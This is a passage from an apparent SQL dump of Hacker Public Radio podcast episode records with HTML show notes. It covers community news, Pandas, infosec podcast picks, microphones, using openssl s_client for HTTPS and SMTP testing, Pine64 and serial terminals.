2</a>:\nclacke on 2022-04-18:\n\"Re: The nitty-gritty of US non-profits\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3563#comments\" target=\"_blank\">hpr3563</a></strong>\n(2022-03-30) \"<em>Home Coffee Roasting, part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3563#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-04-01:\n\"Enjoyed this Episode while Brewing my Morning Coffee :-)\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3564#comments\" target=\"_blank\">hpr3564</a></strong>\n(2022-03-31) \"<em>Removing EXIF data from an image</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3564#2\" target=\"_blank\">Comment 2</a>:\nClaudioM on 2022-04-01:\n\"Thanks for the Application Reminder!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3564#3\" target=\"_blank\">Comment 3</a>:\nXoke on 2022-04-01:\n\"My troubles with EXIF\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=3564#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2022-04-16:\n\"Orientation in Android\"</li></ul><br/>\n</li></ul>\n<h3>This month\'s shows</h3>\n<p>There are 31 comments on 10 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3565#comments\" target=\"_blank\">hpr3565</a></strong>\n(2022-04-01) \"<em>Heavy Hacking down in the quarry. </em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=392\" target=\"_blank\">timttmy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3565#1\" target=\"_blank\">Comment 1</a>:\nJeremiah Schroeder on 2022-03-28:\n\"Couldn\'t agree more\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3565#2\" target=\"_blank\">Comment 2</a>:\nK. Olin on 2022-03-28:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3565#3\" target=\"_blank\">Comment 3</a>:\nClayton Miner on 2022-03-28:\n\"This brings back memories\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3565#4\" target=\"_blank\">Comment 4</a>:\nWindigo on 2022-04-02:\n\"Thanks for the contribution\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3565#5\" target=\"_blank\">Comment 5</a>:\njezra on 2022-04-05:\n\"I started falling asleep\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3568#comments\" target=\"_blank\">hpr3568</a></strong>\n(2022-04-06) \"<em>PopKorn Episode 2: Programming, Mathematics, and Asymmetric Literacy</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=396\" target=\"_blank\">BlacKernel</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3568#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-04-08:\n\"Public Service Announcement\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3570#comments\" target=\"_blank\">hpr3570</a></strong>\n(2022-04-08) \"<em>The Filesystem</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3570#1\" target=\"_blank\">Comment 1</a>:\nzen_floater2 on 2022-04-08:\n\"Squirrel applause\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3570#2\" target=\"_blank\">Comment 2</a>:\nMiguel on 2022-04-08:\n\"Good blast from the past\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3570#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2022-04-08:\n\"Thank you\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3570#4\" target=\"_blank\">Comment 4</a>:\nSome Guy On The Internet on 2022-04-13:\n\"I\'m not old enough.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3570#5\" target=\"_blank\">Comment 5</a>:\nKevin O&#39;Brien on 2022-04-14:\n\"RAID on DOS\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3571#comments\" target=\"_blank\">hpr3571</a></strong>\n(2022-04-11) \"<em>The Meatball Mystery</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=196\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3571#1\" target=\"_blank\">Comment 1</a>:\nkinghezy on 2022-04-12:\n\"Meatballs and such\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3571#2\" target=\"_blank\">Comment 2</a>:\nWindigo on 2022-04-14:\n\"Thanks\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3572#comments\" target=\"_blank\">hpr3572</a></strong>\n(2022-04-12) \"<em>More about NVMe</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3572#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-04-13:\n\"Thanks for the information.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3574#comments\" target=\"_blank\">hpr3574</a></strong>\n(2022-04-14) \"<em>Local Talking Newspapers</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=403\" target=\"_blank\">Lee</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3574#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2022-04-14:\n\"Enlightening episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3574#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2022-04-15:\n\"good show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3574#3\" target=\"_blank\">Comment 3</a>:\nelmussol on 2022-04-24:\n\"elderly relatives et al\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3574#4\" target=\"_blank\">Comment 4</a>:\nelmussol on 2022-04-24:\n\"addendum\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3575#comments\" target=\"_blank\">hpr3575</a></strong>\n(2022-04-15) \"<em>An Edinburgh Blether</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3575#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-04-15:\n\"Declassified\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3575#2\" target=\"_blank\">Comment 2</a>:\nbrian-in-ohio on 2022-04-15:\n\"show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3576#comments\" target=\"_blank\">hpr3576</a></strong>\n(2022-04-18) \"<em>First impressions of Ubuntu 22.04 as a daily driver.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=111\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3576#1\" target=\"_blank\">Comment 1</a>:\nSome Guy On The Internet on 2022-04-18:\n\"Yikes!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3576#2\" target=\"_blank\">Comment 2</a>:\nZen_floater2 on 2022-04-19:\n\"Your review\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3576#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2022-04-28:\n\"How do you pay for software ?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3577#comments\" target=\"_blank\">hpr3577</a></strong>\n(2022-04-19) \"<em>Hello and how I got into tech</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=404\" target=\"_blank\">Sarah</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3577#1\" target=\"_blank\">Comment 1</a>:\nbrian-in-ohio on 2022-04-19:\n\"welcome\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3577#2\" target=\"_blank\">Comment 2</a>:\nmcnalu on 2022-04-19:\n\"Welcome\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3577#3\" target=\"_blank\">Comment 3</a>:\nLurking Prion on 2022-04-23:\n\"Welcome!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3577#4\" target=\"_blank\">Comment 4</a>:\nKevin O&#39;Brien on 2022-04-24:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3577#5\" target=\"_blank\">Comment 5</a>:\nSarah on 2022-04-25:\n\"@Kevin O\'Brien\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3577#6\" target=\"_blank\">Comment 6</a>:\nKevin O&#39;Brien on 2022-04-25:\n\"@Sarah\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3578#comments\" target=\"_blank\">hpr3578</a></strong>\n(2022-04-20) \"<em>Linux Inlaws S01E54: Electronic Freedom Never Mind the Civil Rest</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=384\" target=\"_blank\">monochromec</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3578#1\" target=\"_blank\">Comment 1</a>:\nbittin on 2022-04-11:\n\"More Europe Centric\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3578#2\" target=\"_blank\">Comment 2</a>:\nzen_floater2 on 2022-04-24:\n\"centralized federal power\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-April/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2022-April/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"reminders-about-show-submission\">Reminders about show submission</h3>\n<h4 id=\"show-spacing\">Show spacing</h4>\n<p>Please remember that we normally ask that shows submitted by a host be spaced out by at least two weeks - unless the queue is <strong>extremely</strong> short of shows of course!</p>\n<h4 id=\"commas-between-tags\">Commas between tags</h4>\n<p>A number of shows in recent weeks have been arriving with tags lists missing the requested commas. Hosts are requested to use these to separate tags, otherwise it can be difficult to work out where one tag ends and the next begins. How to interpret the following list, for example:</p>\n<pre><code>dog fish custard</code></pre>\n<p>Does it mean: \'<code>dog fish, custard</code>\', \'<code>dog, fish custard</code>\' or \'<code>dog,fish,custard</code>\'?</p>\n<h4 id=\"host-nameshandles-or-series-names-as-tags\">Host names/handles or series names as tags</h4>\n<p>Next, a recommendation about the host name/handle or the series name as a tag. Tags are intended to help with finding shows.</p>\n<p>We have another way of finding shows by host; the host name or handle is a link at the top of the show page which can be clicked to go to a list of all of the shows ever submitted by that host.</p>\n<p>Also, if a show is part of a series, clicking on the series title on the show page will take you to all the shows in that series.</p>\n<p>So, two tags best avoided are: the host name and the series name.</p>\n<h4 id=\"use-of-explicit-only-covers-audio\">Use of <em>Explicit</em> only covers audio</h4>\n<p>Be aware that the selection made during the submission of a new show between <code>\'Explicit\'</code> and <code>\'Clean\'</code> only relates to the audio. Due to the world-wide distribution of shows we need to be sensitive to potential offense caused by swearwords and the like in the notes themselves. We would appreciate all HPR hosts being aware of these issues.</p>\n<h4 id=\"please-do-not-add-your-own-intro-and-outro\">Please do not add your own <em>intro</em> and <em>outro</em></h4>\n<p>A final reminder: it was decided via discussion on the HPR mailing list that we would automate the addition of the intro and outro to show audio. We would appreciate it if hosts did not add these themselves because work is then required to remove them before preparing the show for release.</p>\n<h3 id=\"developments-on-hpr\">Developments on HPR</h3>\n<p>Some work has been going on behind the scenes to improve the workflow which handles incoming shows and adds them to the database.</p>\n<p>We have added a set of state values which indicate the processing flow so that people and software can track progress.</p>\n<p>The <em>calendar</em> page has been adjusted to show some of these state mnemonics in addition to the <em>Locked</em> and <em>Processing</em> indicators we have had before.</p>\n<p>The status mnemonics likely to be seen are:</p>\n<ul>\n<li><b>SHOW_SUBMITTED</b> - upload complete</li>\n<li><b>METADATA_PROCESSED</b> - shownotes processed to html</li>\n<li><b>SHOW_POSTED</b> - show in the database</li>\n<li><b>MEDIA_TRANSCODED</b> - audio all generated</li>\n<li><b>UPLOADED_TO_IA</b> - on the IA and visible</li>\n<li><b>UPLOADED_TO_RSYNC_NET</b> - archived on rsync.net</li>\n</ul>\n<p>The steps required to move from one state to another have been streamlined as much as possible but they still require the intervention of the Janitors, so there is no guarantee about the time between arrival and the availability of shows on the HPR server or archive.org.</p>\n<h3 id=\"access-to-hpr-from-argentina\">Access to HPR from Argentina</h3>\n<p>The problems reported in the last Community News have now been resolved.</p>\n<h3 id=\"older-hpr-shows-on-archive.org-phase-2\">Older HPR shows on archive.org, phase 2</h3>\n<p>Now that all shows from number 1 to the latest have been uploaded to the Internet Archive there are other tasks to perform.</p>\n<p>During the uploading of shows in the range 1-870 we uploaded all the audio versions: wav, ogg, mp3, etc. We also uploaded any other files such as pictures or documentation. We do this for new shows as well.</p>\n<p>The reason for this is to make self-contained shows on the Internet Archive, where previously such shows referred to the HPR server for various components.</p>\n<p>The shows that had been uploaded during 2017 in the range 871 to 2429 did not include all these files. At that point we only had the mp3 versions of the audio, and these were what were uploaded, along with the notes.</p>\n<p>During phase 1 of the upload process a method of turning the mp3 audio into all of the other formats was included, and this method is now being used to re-process shows 871 to 2429.</p>\n<h4 id=\"statistics\">Statistics</h4>\n<p>We will keep a record of progress here as we re-upload shows numbered between 871 and 2429:</p>\n<ul>\n<li>Re-uploads done so far: 131</li>\n<li>Shows remaining to be done: 1428</li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3328,'2021-05-05','Pandas Part 2',719,'Enigma continues his discussion about his favorite Python module Pandas','<p>\r\nPart two in the For the Love of Data series. Enigma covers part 2 of Pandas <br>\r\nThe following topics are discussed <br>\r\n<br>\r\n1) Another way to apply a condition to a field <br>\r\n2) Creating a DataFrame from a dictionary <br>\r\n3) Appending a data frame with another DataFrame <br>\r\n4) Joining DataFrames with merge and join <br>\r\n5) Writing an output to csv <br>\r\n<br>\r\n<a href = \"https://github.com/eth0enigma/PandasPart2\"> Part 2 Sample code </a>\r\n<br>\r\nFollow me on twitter @Ed_N1gma <br>\r\n<br>\r\nCome chat on irc.freenode.net #hackerexchange\r\n</p>',39,38,0,'CC-BY-SA','python, pandas, Data, Data Science',0,0,1),
(3334,'2021-05-13','Infosec Podcasts Part 2 - General Information Security',520,'Presenting my favorite general information security podcasts','<p>Inoffensive in every region of the world</p>\r\n<p>Hello, again. My name is Trey. This is part 2 of a 6 part series related to information security podcasts.</p>\r\n<p>To recap Why am I recording this series?</p>\r\n<p>\"What podcasts you listen to\" was on the list of recommended topics</p>\r\n<p>I am passionate about information security</p>\r\n<p>We desperately need people to fill infosec jobs in many different specialties</p>\r\n<p>Infosec is a rapidly changing field, and it is critical to stay current</p>\r\n<p>As a result I listen to TONS of infosec related podcasts</p>\r\n<p>Because there are so many podcasts to list, I have broken them down into 6 different episodes based on topics:</p>\r\n<ul>\r\n<li>Part 1 – News &amp; Current Events</li>\r\n<li>Part 2 – General Information Security</li>\r\n<li>Part 3 - Career &amp; Personal Development</li>\r\n<li>Part 4 – Social Engineering</li>\r\n<li>Part 5 -\r\n<ul>\r\n<li>Hacks &amp; Attacks</li>\r\n<li>Technical Information &amp; Learning</li>\r\n<li>Infosec Community / Social / History</li>\r\n</ul></li>\r\n<li>Part 6 – Infosec Leadership</li>\r\n</ul>\r\n<h2 id=\"part-2\">Part 2</h2>\r\n<ul>\r\n<li><p>General Information Security<br />\r\nCaveat – Dave Bittner &amp; Ben Yelin (Weekly)<br />\r\nWeekly discussion of cybersecurity law and policy, with a particular focus on surveillance and digital privacy<br />\r\n<a href=\"https://thecyberwire.com/podcasts/caveat.html\" class=\"uri\">https://thecyberwire.com/podcasts/caveat.html</a></p></li>\r\n<li><p>Defense in Depth - David Spark &amp; Guests (Weekly)<br />\r\nWeekly podcast digging deeper into a currently trending infosec topic<br />\r\n<a href=\"https://cisoseries.com/subscribe-podcast/\" class=\"uri\">https://cisoseries.com/subscribe-podcast/</a></p></li>\r\n<li><p>Recorded Future - Dave Bittner &amp; Recorded Future (Weekly)<br />\r\nA weekly podcast about practical applications of security intelligence<br />\r\n<a href=\"https://www.recordedfuture.com/resources/podcast/\" class=\"uri\">https://www.recordedfuture.com/resources/podcast/</a></p></li>\r\n<li><p>Brakeing Down Security - Bryan Brake, Brian Boettcher, and Amanda Berlin (Weekly)<br />\r\nA weekly discussion of current infosec topics and events<br />\r\nCovers concepts that aspiring Information Security Professionals need to know, or refresh the memories of the seasoned veterans.<br />\r\n<a href=\"https://www.brakeingsecurity.com/\" class=\"uri\">https://www.brakeingsecurity.com/</a></p></li>\r\n<li><p>Down the Security Rabbit Hole - Rafal Los (Weekly)<br />\r\nA weekly interview based podcast discussing various challenges of implementing infosec<br />\r\n<a href=\"https://podcast.wh1t3rabbit.net/\" class=\"uri\">https://podcast.wh1t3rabbit.net/</a></p></li>\r\n<li><p>Security Weekly Podcast Network - Network of shows with various hosts<br />\r\nA collection of podcasts including: Paul\'s Security Weekly, Enterprise Security Weekly, Business Security Weekly, Application Security Weekly, Security &amp; Compliance Weekly, Security Weekly News, Tradecraft Security Weekly, &amp; Secure Digital Life. Interesting and diverse discussions.<br />\r\nWarning: Discussions sometimes promote the consumption of alcohol and smoking cigars<br />\r\nThese podcasts are long<br />\r\n<a href=\"https://securityweekly.com/\" class=\"uri\">https://securityweekly.com/</a></p></li>\r\n<li><p>Security Stories - Cisco with Hazel Burton, Ben Nahorney, &amp; Noureen Njoroge (Weekly)<br />\r\nA unique weekly interview-based podcast by sponsored by Cisco focusing on infosec stories<br />\r\n<a href=\"https://www.cisco.com/c/en/us/products/security/securitystories.html\" class=\"uri\">https://www.cisco.com/c/en/us/products/security/securitystories.html</a></p></li>\r\n<li><p>The Confident Defense Podcast - Conor Sherman (Weekly)<br />\r\nInterviews with influential and inspirational people in all areas of security<br />\r\n<a href=\"https://linktr.ee/ConfidentDefense\" class=\"uri\">https://linktr.ee/ConfidentDefense</a></p></li>\r\n<li><p>Open Source Security Podcast - Kurt Seifried &amp; Josh Bressers (Weekly)<br />\r\nLighthearted discussions of information security topics related to open source<br />\r\n<a href=\"https://opensourcesecurity.io/category/podcast/\" class=\"uri\">https://opensourcesecurity.io/category/podcast/</a></p></li>\r\n</ul>\r\n<p>See? I told you I listen to lots of podcasts!</p>\r\n<p>I hope that this episode has introduced you to some new sources of information. Give some of them a try, and I would love to get your feedback.</p>\r\n<p>The next episode will be about Information Security Careers &amp; Personal Development</p>\r\n<p>Thank you for listening.</p>\r\n',394,74,0,'CC-BY-SA','infosec, podcasts, security',0,0,1),
(3331,'2021-05-10','Audio for Podcasting: Episode 1 - The Microphone',1399,'Thaj shares tips and tricks on producing quality audio for HPR episodes','<p>The first in a series of episodes concerning recording and audio quality. For this episode I focus on the beginning of the signal chain, the microphone. Tips on choosing a microphone, and how to use it to get the sound you want.</p>\r\n<ul>\r\n<li><a href=\"https://www.samsontech.com/samson/products/microphones/usb-microphones/q2u/\">Samson 2QU</a></li>\r\n<li><a href=\"https://www.audio-technica.com/en-us/atr2100-usb\">ATR 2100</a></li>\r\n</ul>\r\n',270,45,1,'CC-BY-SA','audio production, microphones, audio quality',0,0,1),
(3338,'2021-05-19','Using openssl s_client like telnet',1189,'OpenSSL s_client is the new telnet. Here is how to use it.','<p>\r\nConnect to port 443 and send some HTTP signals:\r\n</p>\r\n\r\n<pre><code>\r\n$ openssl s_client -connect example.com:443\r\n    [...snip...]\r\n    Verify return code: 0 (ok)\r\n    Extended master secret: no\r\n    Max Early Data: 0\r\n---\r\n</code></pre>\r\n\r\n<p>\r\nYou\'re now connected. If you wait too long, your connection will likely time out.\r\nView the default landing page of the site you\'ve connected with:\r\n</p>\r\n\r\n<pre><code>\r\nGET / HTTP/1.1\r\nHOST: example.com\r\n</code></pre>\r\n\r\n<p>\r\nIn return, you get a dump of the HTML source of the default page (usually <code>index.html</code>) in your terminal.\r\n</p>\r\n\r\n<p>\r\nYou can also use OpenSSL s_client for email servers using SSL.\r\nBefore you can send credentials, you must encode your email username and passphrase into Base64. The easiest method I know is this Perl one-liner:\r\n</p>\r\n\r\n<pre><code>\r\n$ perl -MMIME::Base64 -e \'print encode_base64(\"myUserName\");\'\r\n$ perl -MMIME::Base64 -e \'print encode_base64(\"myPassPhrase\");\'\r\n</code></pre>\r\n\r\n<p>\r\nTake note of the results.\r\n</p>\r\n\r\n<p>\r\nThe s_client session, aside from authentication, is basically the same as a telnet session. You can find <a href=\"https://www.redhat.com/sysadmin/telnet-troubleshoot-mail-system\" target=\"_blank\">good telnet tutorials all over the Internet</a>, and aside from sending your credentials, they apply to s_client.\r\n</p>\r\n\r\n<p>\r\nHere\'s a copy-paste of an example session:\r\n</p>\r\n\r\n<pre><code>\r\n$ openssl s_client -starttls smtp -connect email.example.com:587\r\n&#62; ehlo example.com\r\n&#62; auth login\r\n&#35;&#35;paste your user base64 string here&#35;&#35;&#35;&#35;\r\n&#35;&#35;paste your password base64 string here&#35;&#35;&#35;&#35;\r\n\r\n&#62; mail from: noreply@example.com\r\n&#62; rcpt to: admin@example.com\r\n&#62; data\r\n&#62; Subject: Test 001\r\nThis is a test email.\r\n.\r\n&#62; quit\r\n</code></pre>\r\n',78,61,0,'CC-BY-SA','telnet, openssl',0,0,1),
(3332,'2021-05-11','My current Devices',642,'A short list of tablets and phones that I am using these Days','<p>Sadly no Opensource hand held devices these days.<br />\r\nBut Android might count though.</p>\r\n',129,0,0,'CC-BY-SA','Tablet, Phone, kindle',0,0,1),
(3333,'2021-05-12','My TV Stand devices and Pine64.org',1408,'About my TV devices - TV Stand  & Pine64','<h2 id=\"about-pine64\">About Pine64</h2>\r\n<blockquote>\r\n<dl>\r\n<dt><em>None of us is as smart as all of us</em></dt>\r\n<dd>Ken H. Blanchard\r\n</dd>\r\n</dl>\r\n</blockquote>\r\n<p>At the core of our philosophy is the notion that PINE64 is a community platform. A simplistic point of view, often offered up and referenced online, is that ‘PINE64 does hardware while the community does the software’. While this depiction is not inaccurate, it is also a gross oversimplification. The fact that PINE64 is community driven doesn’t simply entail a one-way reliance on the community or partner projects for software support; it means that the community gets to actively shape the devices, as well as the social platform, of PINE64 from the ground up. The goal is to deliver ARM64 devices that you really wish to engage with and a platform that you want to be a part of. As such, the community – PINE64 – and the company PINE Microsystems Inc. are interlocked and intertwined, but separate entities.</p>\r\n<p>What does it mean in practice then? It means that we usually announce what we’re working on well ahead of the shipping date – many months before a device is released – so that you have plenty of time to request product features, suggest changes, ask for/make changes to documentation, etc. before the first iteration of the device rolls of the factory line. It also means that the hardware developments – successes and failures alike – are all in the open. You can follow the process on our forum, the IRC, Discord, Matrix, Telegram the online conversations log and, in some instances, on our partner projects forums. But it also means that anyone who is a part of the community gets to shape anything related to the PINE64 project – including the Wiki or this website – and so, software development is only one area where you can contribute your time and skill. In return for time investment, the community gets fair priced devices that developers wish to spend their time on.</p>\r\n<p>Last, but not least, is our belief in supporting existing SoCs for long periods of time as well as actively developing new devices based on those SOCs. What does this mean for developers then? It means that a developer can start developing software on a PINE64 SBC and, in time, support multiple devices with relative ease. This device convergence is, at the time of writing, most pronounced on the Allwinner A64 SOC used in a number of our devices including the: PINE64-LTS, SOPine, Pinebook and Pinetab. That said, similar convergence is also planned for the Rockchip RK3399, currently used on the RockPro64 and in the Pinebook Pro.</p>\r\n<p>You can always find us in the chats or the forum, so if you have any further questions make sure to drop by and ask about how the PINE64 project actually works.</p>\r\n',129,0,0,'CC-BY-SA','Tablet, phone, desktop, windows, pine64, pinetime',0,0,1),
(3341,'2021-05-24','Linux on a serial Terminal - And Jorome\'s MainFrame Challenge',314,'My experiment with Getty and A Getty Ansi - And wanting to have a Serial Terminal Mainframe','<p>Well its bit of challenge for Jerome to teach me how to do a Mainframe on a PI with serial terminal. I started the project using a old HPE 700/96 terminal amber. I used this site as my prime info.<br />\r\n<a href=\"https://www.cyberciti.biz/hardware/5-linux-unix-commands-for-connecting-to-the-serial-console/\" class=\"uri\">https://www.cyberciti.biz/hardware/5-linux-unix-commands-for-connecting-to-the-serial-console/</a></p>\r\n<ul>\r\n<li>First is seeing if you have a serial port</li>\r\n</ul>\r\n<pre><code>    dmesg | egrep --color &#39;serial|ttyS&#39;</code></pre>\r\n<ul>\r\n<li>Then install getty if its not there</li>\r\n<li>Then add your config line to /etc/gettydefs</li>\r\n<li>Then make work if you reboot.</li>\r\n<li>The do report</li>\r\n<li>Then you have the log in prompt on the terminal</li>\r\n</ul>\r\n',129,0,0,'CC-BY-SA','Terminal, Mainframe, Raspberry PI',0,0,1),
(3336,'2021-05-17','2020-2021 New Years Eve Show Episode 1',6241,'the hpr community stops by for a chat','<h2 id=\"welcome-to-the-9th-annual-hacker-public-radio-show\">Welcome to the 9th Annual Hacker Public Radio show</h2>\r\n<p>It is December the 31st 2020 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.</p>\r\n<ul>\r\n<li><p>Covid Covid Covid</p></li>\r\n<li><p>Brexit.<br />\r\nBrexit explained <a href=\"https://en.wikipedia.org/wiki/Brexit\" class=\"uri\">https://en.wikipedia.org/wiki/Brexit</a></p></li>\r\n<li><p>Add ISO 8601 YYYY-MM-DD support for dates in preferences<br />\r\n<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=484860\" class=\"uri\">https://bugzilla.mozilla.org/show_bug.cgi?id=484860</a></p></li>\r\n<li><p>Cannot format date in ISO8601 (YYY-MM-DD) format<br />\r\n<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1492448\" class=\"uri\">https://bugzilla.mozilla.org/show_bug.cgi?id=1492448</a></p></li>\r\n<li><p>Setting date locale no longer works in Thunderbird 60 on linux LC_TIME=en_DK.utf8 behaves differently than it used to<br />\r\n<a href=\"https://bugzilla.mozilla.org/show_bug.cgi?id=1426907\" class=\"uri\">https://bugzilla.mozilla.org/show_bug.cgi?id=1426907</a></p></li>\r\n</ul>\r\n<pre><code>Podcast_________________Last_Active_Date\r\nBoston Bruins ......... ????\r\nTheTechieGeek ......... 2013-12-27\r\nDudmanovi ............. 2016-04-09\r\nGeeks With Guns ....... 2014-04-26\r\nledgerthecat .......... ????\r\nLinux Basix ........... 2014-01-29\r\nLinuXburg ............. 2019-08-16\r\nmintCast .............. Active\r\nNoll Tech Show ........ ????\r\nNollCraft ............. ????\r\nOpen Source Musician .. 2015-02-17\r\nPodBrewers ............ 2016-03-02\r\nPodnutz ............... Active\r\nRevUnity .............. ????\r\nScannerDrome .......... 2020-05-01\r\nSMLR .................. Active\r\nThePythonExperiment ... ????\r\nUnseenStudio .......... Active</code></pre>\r\n<ul>\r\n<li><p>Reverse Engineering the source code of the BioNTech/Pfizer SARS-CoV-2 Vaccine <a href=\"https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/\" class=\"uri\">https://berthub.eu/articles/posts/reverse-engineering-source-code-of-the-biontech-pfizer-vaccine/</a></p></li>\r\n<li><p>Open street map<br />\r\n<a href=\"https://f-droid.org/en/packages/net.osmand.plus/\" class=\"uri\">https://f-droid.org/en/packages/net.osmand.plus/</a><br />\r\n<a href=\"https://www.openstreetmap.org/\" class=\"uri\">https://www.openstreetmap.org/</a></p></li>\r\n<li><p>Farenheit celsius scales<br />\r\n<a href=\"https://commons.wikimedia.org/wiki/File:Fahrenheit_Celsius_scales.svg\" class=\"uri\">https://commons.wikimedia.org/wiki/File:Fahrenheit_Celsius_scales.svg</a></p></li>\r\n<li><p>Soft drink industry levy<br />\r\n<a href=\"https://www.gov.uk/government/news/soft-drinks-industry-levy-comes-into-effect\" class=\"uri\">https://www.gov.uk/government/news/soft-drinks-industry-levy-comes-into-effect</a></p></li>\r\n<li><p>Heroes<br 